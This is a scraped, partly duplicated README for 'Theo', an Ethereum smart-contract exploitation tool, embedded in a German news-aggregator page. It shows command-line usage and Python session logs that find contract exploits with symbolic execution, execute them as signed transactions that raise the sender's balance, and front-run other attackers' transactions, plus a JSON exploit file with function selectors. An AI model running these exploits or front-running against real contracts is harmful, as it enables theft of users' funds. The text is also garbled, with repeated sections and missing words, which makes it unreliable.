and a from work.
Theo's purpose is to fight script kiddies that try to be leet hackers. He can listen to them trying to exploit his honeypots and make them lose their funds, for his own gain.
node with RPC available. contract (happens in a different window)
Scan for exploits
Run exploit
Usage
Help screen
It's a good idea to check the help screen first.
Symbolic execution
A list of exploits is automatically identified using object.
Running exploits
The exploit steps can be run by calling
Frontrunning
You can start the frontrunning monitor to listen for other hackers trying to exploit the honeypot.
Use
This one defines 2 exploits, the first one has 2 transactions and the second one only has 1 transaction.
You can load it with:
Troubleshooting
openssl/aes.h: No such file or directory
If you get this error, you need the libssl source libraries:
On Ubuntu you can install them with:
↗ Original-Artikel auf feedproxy.google.com lesen
Theo's purpose is to fight script kiddies that try to be leet hackers. He can listen to them trying to exploit his honeypots and make them lose their funds, for his own gain.
"You didn't bring me along for my charming personality."
node with RPC available. contract (happens in a different window)
Usage
Help screen
It's a good idea to check the help screen first.
CODE
$ theo --help
usage: theo [-h] [--rpc-http RPC_HTTP] [--rpc-ws RPC_WS] [--rpc-ipc RPC_IPC]
[--account-pk ACCOUNT_PK] [--contract ADDRESS] [--skip-mythril]
[--load-file LOAD_FILE] [--version]
Monitor contracts for balance changes or tx pool.
optional arguments:
-h, --help show this help message and exit
--rpc-http RPC_HTTP Connect to this HTTP RPC (default:
http://127.0.0.1:8545)
--account-pk ACCOUNT_PK
The account's private key (default: None)
--contract ADDRESS Contract to interact with (default: None)
--skip-mythril Skip scanning the contract with Mythril (default:
False)
--load-file LOAD_FILE
Load exploit from file (default: )
--version show program's version number and exit
RPC connections:
--rpc-ws RPC_WS Connect to this WebSockets RPC (default: None)
--rpc-ipc RPC_IPC Connect to this IPC RPC (default: None)Symbolic execution
A list of exploits is automatically identified using object.
CODE
>>> exploits[0]
Exploit: (txs=[Transaction: {'input': '0xcf7a8965', 'value': '0xde0b6b3a7640000'}])Running exploits
The exploit steps can be run by calling
.execute() on the exploit object. The transactions will be signed and sent to the node you're connected to. CODE
>>> exploits[0].execute()
2019-07-22 11:26:12,196 - Sending tx: {'to': '0xA586074FA4Fe3E546A132a16238abe37951D41fE', 'gasPrice': 1, 'gas': 30521, 'value': 1000000000000000000, 'data': '0xcf7a8965', 'nonce': 47}
2019-07-22 11:26:12,200 - Waiting for 0x41b489c78f654cab0b0451fc573010ddb20ee6437cdbf5098b6b03ee1936c33c to be mined...
2019-07-22 11:26:16,337 - Mined
2019-07-22 11:26:16,341 - Initial balance: 1155999450759997797167 (1156.00 ether)
2019-07-22 11:26:16,342 - Final balance: 1156999450759997768901 (1157.00 ether) Frontrunning
You can start the frontrunning monitor to listen for other hackers trying to exploit the honeypot.
Use
.frontrun() to start listening for the exploit and when found, send a transaction with a higher gas price. CODE
>>> exploits[0].frontrun()
2019-07-22 11:22:26,285 - Scanning the mem pool for transactions...
2019-07-22 11:22:45,369 - Found tx: 0xf6041abe6e547cea93e80a451fdf53e6bdae67820244246fde44098f91ce1c20
2019-07-22 11:22:45,375 - Sending tx: {'to': '0xA586074FA4Fe3E546A132a16238abe37951D41fE', 'gasPrice': '0x2', 'data': '0xcf7a8965', 'gas': 30522, 'value': 1000000000000000000, 'nonce': 45}
2019-07-22 11:22:45,380 - Waiting for 0xa73316daf806e7eef83d09e467c32ce5faa239c6eda3a270a8ce7a7aae48fb7e to be mined...
2019-07-22 11:22:56,852 - Mined "Oh, my God! The quarterback is toast!"This works very well for some specially crafted :
CODE
[
[
{
"name": "claimOwnership()",
"input": "0x4e71e0c8",
"value": "0xde0b6b3a7640000"
},
{
"name": "retrieve()",
"input": "0x2e64cec1",
"value": "0x0"
}
],
[
{
"name": "claimOwnership()",
"input": "0x4e71e0c8",
"value": "0xde0b6b3a7640000"
}
]
]You can load it with:
CODE
$ theo --load-file=./exploits.jsonTroubleshooting
openssl/aes.h: No such file or directory
If you get this error, you need the libssl source libraries:
CODE
scrypt-1.2.1/libcperciva/crypto/crypto_aes.c:6:10: fatal error: openssl/aes.h: No such file or directory
#include <openssl/aes.h>
^~~~~~~~~~~~~~~
compilation terminated.
error: command 'x86_64-linux-gnu-gcc' failed with exit status 1
----------------------------------------
Command "/usr/bin/python3 -u -c "import setuptools, tokenize;__file__='/tmp/pip-build-5rl4ep94/scrypt/setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" install --record /tmp/pip-mnbzx9qe-record/install-record.txt --single-version-externally-managed --compile" failed with error code 1 in /tmp/pip-build-5rl4ep94/scrypt/ CODE
$ sudo apt install libssl-dev Vollständiger Original-Bericht
Ausführliche Details, Code-Beispiele & Hersteller-Stellungnahme auf feedproxy.google.com.
Wie bewertest du diesen Beitrag?
1 Klick Feedback Teilen mit Netzwerk & Team:
Community-Analysen & Experten-Meinungen 0
Verfasse deine eigene Analyse, teile Workarounds oder diskutiere diesen Vorfall im Blog.
Noch keine Community-Analyse verfasst. Markiere einen Textabschnitt oder klicke oben auf „ Eigene Analyse verfassen“!
Community Pulse: Relevanz-Einschätzung
1 Klick Experten-Votum 🔴 Akute Relevanz 0%
🟡 In Evaluierung 0%
🟢 Keine Auswirkung 0%
Spannende Innovation 0%
Verwandte Story-Cluster & Quellen (Vektor-KI)
Tipp: Mit Pfeiltasten [ ← ] und [ → ] blättern
SOCIAL SHARE CARD GENERATOR